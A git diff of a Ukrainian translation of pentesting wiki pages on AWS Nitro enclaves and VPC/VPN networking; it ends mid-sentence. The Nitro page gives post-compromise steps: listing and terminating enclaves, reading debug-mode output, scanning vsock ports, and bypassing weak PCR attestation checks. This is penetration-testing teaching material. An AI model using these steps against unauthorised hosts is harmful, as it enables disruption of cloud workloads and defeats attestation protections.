{{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index adc0135f3..2b7c2c321 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,20 +2,20 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для AWS EC2 інстансів. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Відключаючи функції віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру. +AWS Nitro - це набір **інноваційних технологій**, які формують базову платформу для EC2 інстансів AWS. Введений Amazon для **покращення безпеки, продуктивності та надійності**, Nitro використовує спеціальні **апаратні компоненти та легкий гіпервізор**. Він абстрагує більшість традиційних функцій віртуалізації на спеціалізоване апаратне та програмне забезпечення, **мінімізуючи поверхню атаки** та покращуючи ефективність ресурсів. Завдяки перенесенню функцій віртуалізації, Nitro дозволяє EC2 інстансам забезпечувати **практично продуктивність bare-metal**, що робить його особливо корисним для ресурсомістких додатків. Крім того, Nitro Security Chip спеціально забезпечує **безпеку апаратного забезпечення та прошивки**, ще більше зміцнюючи його надійну архітектуру. ### Nitro Enclaves -**AWS Nitro Enclaves** забезпечує безпечне, **ізольоване обчислювальне середовище в Amazon EC2 інстансах**, спеціально розроблене для обробки високочутливих даних. Використовуючи AWS Nitro System, ці енклави забезпечують надійну **ізоляцію та безпеку**, ідеально підходять для **обробки конфіденційної інформації**, такої як PII або фінансові записи. Вони мають мінімалістичне середовище, що значно знижує ризик витоку даних. Крім того, Nitro Enclaves підтримують криптографічну атестацію, що дозволяє користувачам перевіряти, що виконується лише авторизований код, що є критично важливим для підтримки суворої відповідності та стандартів захисту даних. +**AWS Nitro Enclaves** забезпечує безпечне, **ізольоване обчислювальне середовище всередині EC2 інстансів Amazon**, спеціально розроблене для обробки надзвичайно чутливих даних. Використовуючи AWS Nitro System, ці енклави забезпечують надійну **ізоляцію та безпеку**, ідеально підходять для **обробки конфіденційної інформації**, такої як PII або фінансові записи. Вони мають мінімалістичне середовище, що значно знижує ризик витоку даних. Крім того, Nitro Enclaves підтримують криптографічну атестацію, що дозволяє користувачам перевіряти, що виконується лише авторизований код, що є критично важливим для підтримки суворих стандартів відповідності та захисту даних. > [!CAUTION] > Зображення Nitro Enclave **запускаються зсередини EC2 інстансів**, і ви не можете побачити з веб-консолі AWS, чи запущені зображення в Nitro Enclave чи ні. -## Nitro Enclave CLI installation +## Встановлення Nitro Enclave CLI -Слідуйте всім інструкціям [**з документації**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Однак, це найважливіші з них: +Слідуйте всім інструкціям [**з документації**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). Однак, ось найважливіші з них: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -41,7 +41,7 @@ nitro-cli build-enclave --docker-uri : --output-file nitro-img. ``` Як ви можете бачити, зображення Nitro Enclave використовують розширення **`eif`** (Enclave Image File). -Вихід буде виглядати подібно до: +Вихід виглядатиме приблизно так: ``` Using the locally available Docker image... Enclave Image successfully created. @@ -73,31 +73,31 @@ nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-m ``` ### Перерахунок Енклавів -Якщо ви зламаєте хост EC2, можливо отримати список запущених образів енклавів за допомогою: +Якщо ви зламали хост EC2, можливо отримати список запущених образів енклавів за допомогою: ```bash nitro-cli describe-enclaves ``` -Це **неможливо отримати shell** всередині запущеного образу enclave, оскільки це основна мета enclave, однак, якщо ви використовували параметр **`--debug-mode`**, можливо отримати **stdout** з нього за допомогою: +Це **неможливо отримати оболонку** всередині запущеного образу енклаву, оскільки це основна мета енклаву, однак, якщо ви використовували параметр **`--debug-mode`**, можливо отримати **stdout** з нього за допомогою: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Terminate Enclaves +### Завершення енклавів -Якщо зловмисник зламає EC2 екземпляр, за замовчуванням він не зможе отримати оболонку всередині них, але він зможе **terminate them** з: +Якщо зловмисник зламає EC2 екземпляр, за замовчуванням він не зможе отримати оболонку всередині них, але він зможе **завершити їх** за допомогою: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` ## Vsocks -Єдиний спосіб зв'язатися з **enclave**, що виконує образ, - це використання **vsocks**. +Єдиний спосіб зв'язатися з **enclave**, що виконує зображення, - це використання **vsocks**. -**Віртуальний сокет (vsock)** - це сімейство сокетів у Linux, спеціально розроблене для полегшення **зв'язку** між віртуальними машинами (**VMs**) та їх **гипервізорами**, або між VMs **самими**. Vsock забезпечує ефективний, **двосторонній зв'язок** без покладання на мережевий стек хоста. Це дозволяє VMs спілкуватися навіть без мережевих конфігурацій, **використовуючи 32-бітний Context ID (CID) та номери портів** для ідентифікації та управління з'єднаннями. API vsock підтримує як потоки, так і типи сокетів датаграм, подібно до TCP та UDP, надаючи універсальний інструмент для додатків на рівні користувача у віртуальних середовищах. +**Virtual Socket (vsock)** - це сімейство сокетів у Linux, спеціально розроблене для полегшення **зв'язку** між віртуальними машинами (**VMs**) та їх **гипервізорами**, або між VMs **самими**. Vsock забезпечує ефективний, **двосторонній зв'язок** без покладання на мережевий стек хоста. Це дозволяє VMs спілкуватися навіть без мережевих конфігурацій, **використовуючи 32-бітний Context ID (CID) та номери портів** для ідентифікації та управління з'єднаннями. API vsock підтримує як потоки, так і типи сокетів датаграм, подібно до TCP та UDP, надаючи універсальний інструмент для програм на рівні користувача у віртуальних середовищах. > [!TIP] > Отже, адреса vsock виглядає так: `:` -Щоб знайти **CIDs** образів, що виконують enclave, ви можете просто виконати наступну команду і отримати **`EnclaveCID`**: +Щоб знайти **CIDs** зображень, що виконують enclave, ви можете просто виконати наступну команду і отримати **`EnclaveCID`**:
nitro-cli describe-enclaves
 
@@ -126,7 +126,7 @@ nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID}
 
> [!WARNING] -> Зверніть увагу, що з хоста немає жодного способу дізнатися, чи CID відкриває якийсь порт! Якщо не використовувати якийсь **сканер портів vsock, як** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Зверніть увагу, що з хоста немає жодного способу дізнатися, чи CID відкриває будь-який порт! Якщо не використовувати якийсь **сканер портів vsock, як** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). ### Vsock Server/Listener @@ -214,24 +214,24 @@ v_str LISTEN 0 0 ``` ## Nitro Enclave Atestation & KMS -Nitro Enclaves SDK дозволяє енклаву запитувати **криптографічно підписаний документ атестації** від Nitro **Гіпервізора**, який містить **унікальні вимірювання**, специфічні для цього енклаву. Ці вимірювання, які включають **хеші та регістри конфігурації платформи (PCR)**, використовуються під час процесу атестації для **доказу ідентичності енклаву** та **побудови довіри з зовнішніми сервісами**. Документ атестації зазвичай містить значення, такі як PCR0, PCR1 та PCR2, з якими ви вже стикалися під час створення та збереження EIF енклаву. +SDK Nitro Enclaves дозволяє енклаву запитувати **криптографічно підписаний документ атестації** від Nitro **Hypervisor**, який містить **унікальні вимірювання**, специфічні для цього енклаву. Ці вимірювання, які включають **хеші та регістри конфігурації платформи (PCR)**, використовуються під час процесу атестації для **доказу ідентичності енклаву** та **побудови довіри з зовнішніми сервісами**. Документ атестації зазвичай містить значення, такі як PCR0, PCR1 та PCR2, з якими ви вже стикалися під час створення та збереження EIF енклаву. З [**документації**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), це значення PCR: -
PCRХеш ...Опис
PCR0Файл зображення енклавуБезперервне вимірювання вмісту файлу зображення, без даних секції.
PCR1Ядро Linux та завантаженняБезперервне вимірювання даних ядра та завантажувального ramfs.
PCR2ДодатокБезперервне, в порядку вимірювання користувацьких додатків, без завантажувального ramfs.
PCR3Роль IAM, призначена батьківському екземпляруБезперервне вимірювання ролі IAM, призначеної батьківському екземпляру. Забезпечує, що процес атестації успішний лише тоді, коли батьківський екземпляр має правильну роль IAM.
PCR4ID екземпляра батьківського екземпляраБезперервне вимірювання ID батьківського екземпляра. Забезпечує, що процес атестації успішний лише тоді, коли батьківський екземпляр має конкретний ID екземпляра.
PCR8Сертифікат підпису файлу зображення енклавуВимірювання сертифіката підпису, вказаного для файлу зображення енклаву. Забезпечує, що процес атестації успішний лише тоді, коли енклав був завантажений з файлу зображення енклаву, підписаного конкретним сертифікатом.
+
PCRХеш ...Опис
PCR0Файл зображення енклавуБезперервне вимірювання вмісту файлу зображення, без даних секції.
PCR1Ядро Linux та завантаженняБезперервне вимірювання даних ядра та завантажувального ramfs.
PCR2ДодатокБезперервне, впорядковане вимірювання користувацьких додатків, без завантажувального ramfs.
PCR3Роль IAM, призначена батьківському екземпляруБезперервне вимірювання ролі IAM, призначеної батьківському екземпляру. Забезпечує, що процес атестації успішний лише тоді, коли батьківський екземпляр має правильну роль IAM.
PCR4ID екземпляра батьківського екземпляраБезперервне вимірювання ID батьківського екземпляра. Забезпечує, що процес атестації успішний лише тоді, коли батьківський екземпляр має конкретний ID екземпляра.
PCR8Сертифікат підпису файлу зображення енклавуВимірювання сертифіката підпису, вказаного для файлу зображення енклаву. Забезпечує, що процес атестації успішний лише тоді, коли енклав був завантажений з файлу зображення енклаву, підписаного конкретним сертифікатом.
Ви можете інтегрувати **криптографічну атестацію** у свої додатки та використовувати готові інтеграції з такими сервісами, як **AWS KMS**. AWS KMS може **перевіряти атестації енклавів** та пропонує ключі умов атестації (`kms:RecipientAttestation:ImageSha384` та `kms:RecipientAttestation:PCR`) у своїх політиках ключів. Ці політики забезпечують, що AWS KMS дозволяє операції з використанням ключа KMS **лише якщо документ атестації енклаву є дійсним** і відповідає **вказаним умовам**. > [!TIP] -> Зверніть увагу, що Енклави в режимі налагодження (--debug) генерують документи атестації з PCR, які складаються з нулів (`000000000000000000000000000000000000000000000000`). Тому політики KMS, які перевіряють ці значення, зазнають невдачі. +> Зверніть увагу, що енклави в режимі налагодження (--debug) генерують документи атестації з PCR, які складаються з нулів (`000000000000000000000000000000000000000000000000`). Тому політики KMS, які перевіряють ці значення, зазнають невдачі. ### PCR Bypass -З точки зору атакуючого, зверніть увагу, що деякі PCR дозволять змінити деякі частини або все зображення енклаву і все ще будуть дійсними (наприклад, PCR4 просто перевіряє ID батьківського екземпляра, тому запуск будь-якого зображення енклаву в цьому EC2 дозволить виконати цю потенційну вимогу PCR). +З точки зору атакуючого, зверніть увагу, що деякі PCR дозволяють змінювати деякі частини або все зображення енклаву і все ще залишатися дійсними (наприклад, PCR4 просто перевіряє ID батьківського екземпляра, тому запуск будь-якого зображення енклаву в цьому EC2 дозволить виконати цю потенційну вимогу PCR). -Отже, атакуючий, який зламає екземпляр EC2, може бути в змозі запустити інші зображення енклаву, щоб обійти ці захисти. +Отже, атакуючий, який зламав EC2 екземпляр, може бути в змозі запускати інші зображення енклаву, щоб обійти ці захисти. -Дослідження про те, як змінити/створити нові зображення для обходу кожного захисту (особливо тих, що не є очевидними) все ще в процесі. +Дослідження про те, як змінювати/створювати нові зображення для обходу кожного захисту (особливо тих, що не є очевидними) все ще в процесі. ## References diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index c743be78f..4ae25c8df 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -8,7 +8,7 @@ Ця мережа VPC поділяється на **підмережі**, тому **підмережа** безпосередньо **пов'язана** з **VPC**, **таблицею маршрутизації** та **мережевим ACL**. -Потім, **мережеві інтерфейси**, прикріплені до сервісів (як EC2 екземпляри), **підключені** до **підмереж** з **групами безпеки**. +Потім **мережеві інтерфейси**, підключені до сервісів (як EC2 екземпляри), **підключені** до **підмереж** з **групами безпеки**. Отже, **група безпеки** обмежить відкриті порти мережевих **інтерфейсів, що її використовують**, **незалежно від підмережі**. А **мережевий ACL** **обмежить** відкриті порти для **всіх мереж**. @@ -16,9 +16,9 @@ - **Підмережа** може **автоматично призначати публічні IPv4 адреси** - **Екземпляр**, створений у мережі, що **автоматично призначає IPv4 адреси, може отримати одну** -- **Шлюз Інтернету** потрібно **прикріпити** до **VPC** +- **Шлюз Інтернету** потрібно **підключити** до **VPC** - Ви також можете використовувати **Шлюзи Інтернету тільки для виходу** -- Ви також можете мати **NAT шлюз** у **приватній підмережі**, щоб було можливим **підключення до зовнішніх сервісів** з цієї приватної підмережі, але **неможливо досягти їх ззовні**. +- Ви також можете мати **NAT шлюз** у **приватній підмережі**, щоб мати можливість **підключатися до зовнішніх сервісів** з цієї приватної підмережі, але **неможливо досягти їх ззовні**. - NAT шлюз може бути **публічним** (доступ до Інтернету) або **приватним** (доступ до інших VPC) ![](<../../../../images/image (274).png>) @@ -34,7 +34,7 @@ Amazon **Віртуальна Приватна Хмара** (Amazon VPC) доз - Дійсні CIDR від /16 до /28. - Підмережа не може бути в різних зонах доступності одночасно. - **AWS резервує перші три IP адреси хостів** кожної підмережі **для** **внутрішнього використання AWS**: перша адреса хоста використовується для маршрутизатора VPC. Друга адреса зарезервована для AWS DNS, а третя адреса зарезервована для майбутнього використання. -- Підмережі, які мають **прямий доступ до Інтернету, називаються** **публічними підмережами**, тоді як приватні підмережі - ні. +- Підмережі, які мають **прямий доступ до Інтернету, називаються публічними підмережами, тоді як приватні підмережі - ні.**
@@ -47,7 +47,7 @@ Amazon **Віртуальна Приватна Хмара** (Amazon VPC) доз - Локального VPC - NAT - Шлюзів Інтернету / Шлюзів Інтернету тільки для виходу (необхідні для надання VPC доступу до Інтернету). -- Щоб зробити підмережу публічною, вам потрібно **створити** та **прикріпити** **шлюз Інтернету** до вашого VPC. +- Щоб зробити підмережу публічною, вам потрібно **створити** та **підключити** **шлюз Інтернету** до вашого VPC. - Точки доступу VPC (для доступу до S3 з приватних мереж) На наступних зображеннях ви можете перевірити різницю між типовою публічною мережею та приватною: @@ -60,7 +60,7 @@ Amazon **Віртуальна Приватна Хмара** (Amazon VPC) доз **Списки контролю доступу до мережі (ACL)**: Мережеві ACL - це правила брандмауера, які контролюють вхідний та вихідний мережевий трафік до підмережі. Вони можуть використовуватися для дозволу або заборони трафіку до конкретних IP адрес або діапазонів. -- Найчастіше доступ дозволяється/забороняється за допомогою груп безпеки, але це єдиний спосіб повністю розірвати встановлені зворотні оболонки. Змінене правило в групах безпеки не зупиняє вже встановлені з'єднання. +- Найчастіше доступ дозволяється/забороняється за допомогою груп безпеки, але це єдиний спосіб повністю відключити встановлені зворотні оболонки. Змінене правило в групах безпеки не зупиняє вже встановлені з'єднання. - Однак це стосується всієї підмережі, будьте обережні, забороняючи речі, оскільки необхідна функціональність може бути порушена. ### Групи безпеки @@ -82,31 +82,31 @@ _Еластична IP адреса_ - це **статична IPv4 адреса Якщо ви **з'єднуєте підмережу з іншою підмережею, ви не можете отримати доступ до підмереж, підключених до іншої підмережі, вам потрібно створити з'єднання з ними безпосередньо.** **Це також стосується шлюзів Інтернету.** Ви не можете пройти через з'єднання підмережі, щоб отримати доступ до Інтернету, вам потрібно призначити шлюз Інтернету своїй підмережі. -### VPC Peering +### Пірінг VPC -VPC peering дозволяє вам **підключити дві або більше VPC разом**, використовуючи IPV4 або IPV6, так, ніби вони є частиною однієї мережі. +Пірінг VPC дозволяє вам **з'єднувати дві або більше VPC разом**, використовуючи IPV4 або IPV6, так, ніби вони є частиною однієї мережі. -Якщо з'єднання з піром встановлено, **ресурси в одній VPC можуть отримати доступ до ресурсів в іншій**. З'єднання між VPC реалізується через існуючу інфраструктуру мережі AWS, тому воно є високодоступним без вузьких місць у пропускній здатності. Оскільки **з'єднання з піром працюють так, ніби вони є частиною однієї мережі**, існують обмеження щодо діапазонів ваших CIDR, які можуть бути використані.\ +Якщо з'єднання пірінгу встановлено, **ресурси в одній VPC можуть отримувати доступ до ресурсів в іншій**. З'єднання між VPC реалізується через існуючу інфраструктуру мережі AWS, тому воно має високу доступність без вузьких місць у пропускній здатності. Оскільки **з'єднання пірінгу працюють так, ніби вони є частиною однієї мережі**, існують обмеження щодо діапазонів ваших CIDR, які можуть бути використані.\ Якщо у вас є **перекриваючі або дубльовані CIDR** діапазони для вашого VPC, то **ви не зможете з'єднати VPC** разом.\ -Кожен AWS VPC **спілкуватиметься лише зі своїм піром**. Наприклад, якщо у вас є з'єднання з піром між VPC 1 і VPC 2, і ще одне з'єднання між VPC 2 і VPC 3, як показано, тоді VPC 1 і 2 можуть спілкуватися один з одним безпосередньо, як і VPC 2 і VPC 3, однак VPC 1 і VPC 3 не можуть. **Ви не можете маршрутизувати через один VPC, щоб дістатися до іншого.** +Кожен AWS VPC **спілкуватиметься лише зі своїм піром**. Наприклад, якщо у вас є з'єднання пірінгу між VPC 1 і VPC 2, і ще одне з'єднання між VPC 2 і VPC 3, як показано, тоді VPC 1 і 2 можуть спілкуватися один з одним безпосередньо, як і VPC 2 і VPC 3, однак VPC 1 і VPC 3 не можуть. **Ви не можете маршрутизувати через один VPC, щоб дістатися до іншого.** -### **VPC Flow Logs** +### **Журнали потоку VPC** -У вашому VPC ви можете мати потенційно сотні або навіть тисячі ресурсів, які спілкуються між різними підмережами, як публічними, так і приватними, а також між різними VPC через з'єднання VPC peering. **VPC Flow Logs дозволяють вам захоплювати інформацію про IP трафік, що проходить між мережевими інтерфейсами ваших ресурсів у вашому VPC**. +У вашому VPC ви можете мати потенційно сотні або навіть тисячі ресурсів, які спілкуються між різними підмережами, як публічними, так і приватними, а також між різними VPC через з'єднання пірінгу VPC. **Журнали потоку VPC дозволяють вам захоплювати інформацію про IP трафік, що проходить між мережевими інтерфейсами ваших ресурсів у вашому VPC.** -На відміну від журналів доступу S3 та журналів доступу CloudFront, **дані журналів, згенеровані VPC Flow Logs, не зберігаються в S3. Натомість захоплені дані журналів надсилаються до журналів CloudWatch**. +На відміну від журналів доступу S3 та журналів доступу CloudFront, **дані журналів, згенеровані журналами потоку VPC, не зберігаються в S3. Натомість дані журналів, що захоплюються, надсилаються до журналів CloudWatch.** Обмеження: -- Якщо ви використовуєте з'єднання VPC peering, ви зможете бачити лише журнали потоку пірних VPC, які знаходяться в одному обліковому записі. +- Якщо ви використовуєте з'єднання пірінгу VPC, ви зможете бачити лише журнали потоку пірінгових VPC, які знаходяться в одному обліковому записі. - Якщо ви все ще використовуєте ресурси в середовищі EC2-Classic, на жаль, ви не зможете отримати інформацію з їх інтерфейсів. -- Після створення журналу потоку VPC його не можна змінити. Щоб змінити конфігурацію журналу потоку VPC, вам потрібно видалити його, а потім створити новий. +- Як тільки журнал потоку VPC створено, його не можна змінити. Щоб змінити конфігурацію журналу потоку VPC, вам потрібно видалити його, а потім створити новий. - Наступний трафік не контролюється та не захоплюється журналами. DHCP трафік у VPC, трафік від екземплярів, призначений для сервера DNS Amazon. - Будь-який трафік, призначений для IP адреси маршрутизатора за замовчуванням VPC, та трафік до і з наступних адрес, 169.254.169.254, який використовується для збору метаданих екземпляра, та 169.254.169.123, який використовується для служби синхронізації часу Amazon. - Трафік, пов'язаний з ліцензією активації Windows Amazon з Windows екземпляра. - Трафік між інтерфейсом навантажувального балансувальника мережі та інтерфейсом мережевої точки доступу. -Для кожного мережевого інтерфейсу, який публікує дані в групу журналів CloudWatch, буде використовуватися різний потік журналів. І в кожному з цих потоків будуть дані подій журналу потоку, які показують вміст записів журналу. Кожен з цих **журналів захоплює дані протягом приблизно 10 до 15 хвилин**. +Для кожного мережевого інтерфейсу, який публікує дані в групу журналів CloudWatch, буде використовуватися різний потік журналу. І в кожному з цих потоків будуть дані подій журналу потоку, які показують вміст записів журналу. Кожен з цих **журналів захоплює дані протягом приблизно 10-15 хвилин**. ## VPN @@ -116,10 +116,10 @@ VPC peering дозволяє вам **підключити дві або біл - Шлюз клієнта - це ресурс, який ви створюєте в AWS, щоб представляти вашу сторону з'єднання VPN. - Це, по суті, фізичний пристрій або програмне забезпечення на вашій стороні з'єднання Site-to-Site VPN. - Ви надаєте інформацію про маршрутизацію та публічну IP адресу вашого мережевого пристрою (такого як маршрутизатор або брандмауер) AWS для створення шлюзу клієнта. -- Він слугує точкою посилання для налаштування з'єднання VPN і не підлягає додатковим витратам. +- Він слугує точкою посилання для налаштування з'єднання VPN і не несе додаткових витрат. 2. **Віртуальний приватний шлюз**: - Віртуальний приватний шлюз (VPG) - це концентратор VPN на стороні Amazon з'єднання Site-to-Site VPN. -- Він прикріплений до вашого VPC і слугує ціллю для вашого з'єднання VPN. +- Він підключений до вашого VPC і слугує ціллю для вашого з'єднання VPN. - VPG - це кінцева точка AWS для з'єднання VPN. - Він обробляє безпечну комунікацію між вашим VPC та вашою локальною мережею. 3. **З'єднання Site-to-Site VPN**: @@ -127,11 +127,11 @@ VPC peering дозволяє вам **підключити дві або біл - Цей тип з'єднання вимагає шлюз клієнта та віртуальний приватний шлюз. - Використовується для безпечної, стабільної та постійної комунікації між вашим центром обробки даних або мережею та вашим середовищем AWS. - Зазвичай використовується для регулярних, довгострокових з'єднань і оплачується на основі обсягу даних, переданих через з'єднання. -4. **Клієнтський VPN кінцевий пункт**: -- Клієнтський VPN кінцевий пункт - це ресурс, який ви створюєте в AWS для активації та управління сесіями клієнтського VPN. +4. **Кінцева точка клієнтського VPN**: +- Кінцева точка клієнтського VPN - це ресурс, який ви створюєте в AWS для активації та управління сесіями клієнтського VPN. - Використовується для дозволу окремим пристроям (таким як ноутбуки, смартфони тощо) безпечно підключатися до ресурсів AWS або вашої локальної мережі. -- Відрізняється від Site-to-Site VPN тим, що призначений для окремих клієнтів, а не для підключення цілих мереж. -- З клієнтським VPN кожен клієнтський пристрій використовує програмне забезпечення VPN-клієнта для встановлення безпечного з'єднання. +- Вона відрізняється від Site-to-Site VPN тим, що призначена для окремих клієнтів, а не для з'єднання цілих мереж. +- З клієнтським VPN кожен клієнтський пристрій використовує програмне забезпечення клієнта VPN для встановлення безпечного з'єднання. ### Site-to-Site VPN @@ -150,11 +150,11 @@ VPC peering дозволяє вам **підключити дві або біл #### Обмеження - Трафік IPv6 не підтримується для з'єднань VPN на віртуальному приватному шлюзі. -- З'єднання AWS VPN не підтримує виявлення Path MTU. +- З'єднання AWS VPN не підтримує виявлення MTU шляху. Крім того, врахуйте наступне, коли ви використовуєте Site-to-Site VPN. -- При підключенні ваших VPC до загальної локальної мережі ми рекомендуємо використовувати неперекриваючі CIDR блоки для ваших мереж. +- При підключенні ваших VPC до спільної локальної мережі ми рекомендуємо використовувати неперекриваючі CIDR блоки для ваших мереж. ### Клієнтський VPN @@ -162,26 +162,26 @@ VPC peering дозволяє вам **підключити дві або біл #### Концепції -- **Клієнтський VPN кінцевий пункт:** Ресурс, який ви створюєте та налаштовуєте для активації та управління сесіями клієнтського VPN. Це ресурс, де завершуються всі сесії клієнтського VPN. -- **Цільова мережа:** Цільова мережа - це мережа, яку ви асоціюєте з кінцевим пунктом клієнтського VPN. **Підмережа з VPC є цільовою мережею**. Асоціювання підмережі з кінцевим пунктом клієнтського VPN дозволяє вам встановлювати сесії VPN. Ви можете асоціювати кілька підмереж з кінцевим пунктом клієнтського VPN для високої доступності. Усі підмережі повинні бути з одного VPC. Кожна підмережа повинна належати до різної зони доступності. -- **Маршрут**: Кожен кінцевий пункт клієнтського VPN має таблицю маршрутів, яка описує доступні маршрути до мережі призначення. Кожен маршрут у таблиці маршрутів вказує шлях для трафіку до конкретних ресурсів або мереж. -- **Правила авторизації:** Правило авторизації **обмежує користувачів, які можуть отримати доступ до мережі**. Для вказаної мережі ви налаштовуєте групу Active Directory або постачальника ідентичності (IdP), якій дозволено доступ. Тільки користувачі, що належать до цієї групи, можуть отримати доступ до вказаної мережі. **За замовчуванням немає правил авторизації**, і вам потрібно налаштувати правила авторизації, щоб дозволити користувачам отримувати доступ до ресурсів і мереж. -- **Клієнт:** Кінцевий користувач, який підключається до кінцевого пункту клієнтського VPN для встановлення сесії VPN. Кінцеві користувачі повинні завантажити клієнт OpenVPN і використовувати файл конфігурації клієнтського VPN, який ви створили, для встановлення сесії VPN. -- **Діапазон CIDR клієнта:** Діапазон IP адрес, з якого призначаються IP адреси клієнтів. Кожне з'єднання з кінцевим пунктом клієнтського VPN отримує унікальну IP адресу з діапазону CIDR клієнта. Ви вибираєте діапазон CIDR клієнта, наприклад, `10.2.0.0/16`. +- **Кінцева точка клієнтського VPN:** Ресурс, який ви створюєте та налаштовуєте для активації та управління сесіями клієнтського VPN. Це ресурс, де завершуються всі сесії клієнтського VPN. +- **Цільова мережа:** Цільова мережа - це мережа, яку ви асоціюєте з кінцевою точкою клієнтського VPN. **Підмережа з VPC є цільовою мережею**. Асоціювання підмережі з кінцевою точкою клієнтського VPN дозволяє вам встановлювати сесії VPN. Ви можете асоціювати кілька підмереж з кінцевою точкою клієнтського VPN для високої доступності. Усі підмережі повинні бути з одного VPC. Кожна підмережа повинна належати до різної зони доступності. +- **Маршрут**: Кожна кінцева точка клієнтського VPN має таблицю маршрутів, яка описує доступні маршрути мережі призначення. Кожен маршрут у таблиці маршрутів вказує шлях для трафіку до конкретних ресурсів або мереж. +- **Правила авторизації:** Правило авторизації **обмежує користувачів, які можуть отримати доступ до мережі**. Для вказаної мережі ви налаштовуєте групу Active Directory або постачальника ідентичності (IdP), якій дозволено доступ. Тільки користувачі, що належать до цієї групи, можуть отримати доступ до вказаної мережі. **За замовчуванням немає правил авторизації**, і ви повинні налаштувати правила авторизації, щоб дозволити користувачам отримувати доступ до ресурсів і мереж. +- **Клієнт:** Кінцевий користувач, який підключається до кінцевої точки клієнтського VPN для встановлення сесії VPN. Кінцеві користувачі повинні завантажити клієнт OpenVPN і використовувати файл конфігурації клієнтського VPN, який ви створили, для встановлення сесії VPN. +- **Діапазон CIDR клієнта:** Діапазон IP адрес, з якого призначаються IP адреси клієнтів. Кожне з'єднання з кінцевою точкою клієнтського VPN отримує унікальну IP адресу з діапазону CIDR клієнта. Ви вибираєте діапазон CIDR клієнта, наприклад, `10.2.0.0/16`. - **Порти клієнтського VPN:** AWS Client VPN підтримує порти 443 і 1194 для TCP та UDP. За замовчуванням використовується порт 443. -- **Мережеві інтерфейси клієнтського VPN:** Коли ви асоціюєте підмережу з вашим кінцевим пунктом клієнтського VPN, ми створюємо мережеві інтерфейси клієнтського VPN у цій підмережі. **Трафік, що надсилається до VPC з кінцевого пункту клієнтського VPN, надсилається через мережевий інтерфейс клієнтського VPN**. Потім застосовується трансляція адреси джерела мережі (SNAT), де IP адреса джерела з діапазону CIDR клієнта транслюється на IP адресу мережевого інтерфейсу клієнтського VPN. -- **Журнал з'єднань:** Ви можете увімкнути журнал з'єднань для вашого кінцевого пункту клієнтського VPN, щоб реєструвати події з'єднання. Ви можете використовувати цю інформацію для проведення судово-медичних експертиз, аналізу того, як використовується ваш кінцевий пункт клієнтського VPN, або для налагодження проблем з'єднання. -- **Портал самообслуговування:** Ви можете увімкнути портал самообслуговування для вашого кінцевого пункту клієнтського VPN. Клієнти можуть увійти в веб-портал, використовуючи свої облікові дані, і завантажити останню версію файлу конфігурації кінцевого пункту клієнтського VPN або останню версію клієнта, наданого AWS. +- **Мережеві інтерфейси клієнтського VPN:** Коли ви асоціюєте підмережу з вашою кінцевою точкою клієнтського VPN, ми створюємо мережеві інтерфейси клієнтського VPN у цій підмережі. **Трафік, що надсилається до VPC з кінцевої точки клієнтського VPN, надсилається через мережевий інтерфейс клієнтського VPN**. Потім застосовується трансляція адреси джерела мережі (SNAT), де IP адреса джерела з діапазону CIDR клієнта транслюється на IP адресу мережевого інтерфейсу клієнтського VPN. +- **Журнал з'єднань:** Ви можете увімкнути журнал з'єднань для вашої кінцевої точки клієнтського VPN, щоб реєструвати події з'єднання. Ви можете використовувати цю інформацію для проведення судово-медичних експертиз, аналізу того, як використовується ваша кінцева точка клієнтського VPN, або для налагодження проблем з'єднання. +- **Портал самообслуговування:** Ви можете увімкнути портал самообслуговування для вашої кінцевої точки клієнтського VPN. Клієнти можуть увійти в веб-портал, використовуючи свої облікові дані, і завантажити останню версію файлу конфігурації кінцевої точки клієнтського VPN або останню версію клієнта, наданого AWS. #### Обмеження -- **Діапазони CIDR клієнта не можуть перекриватися з 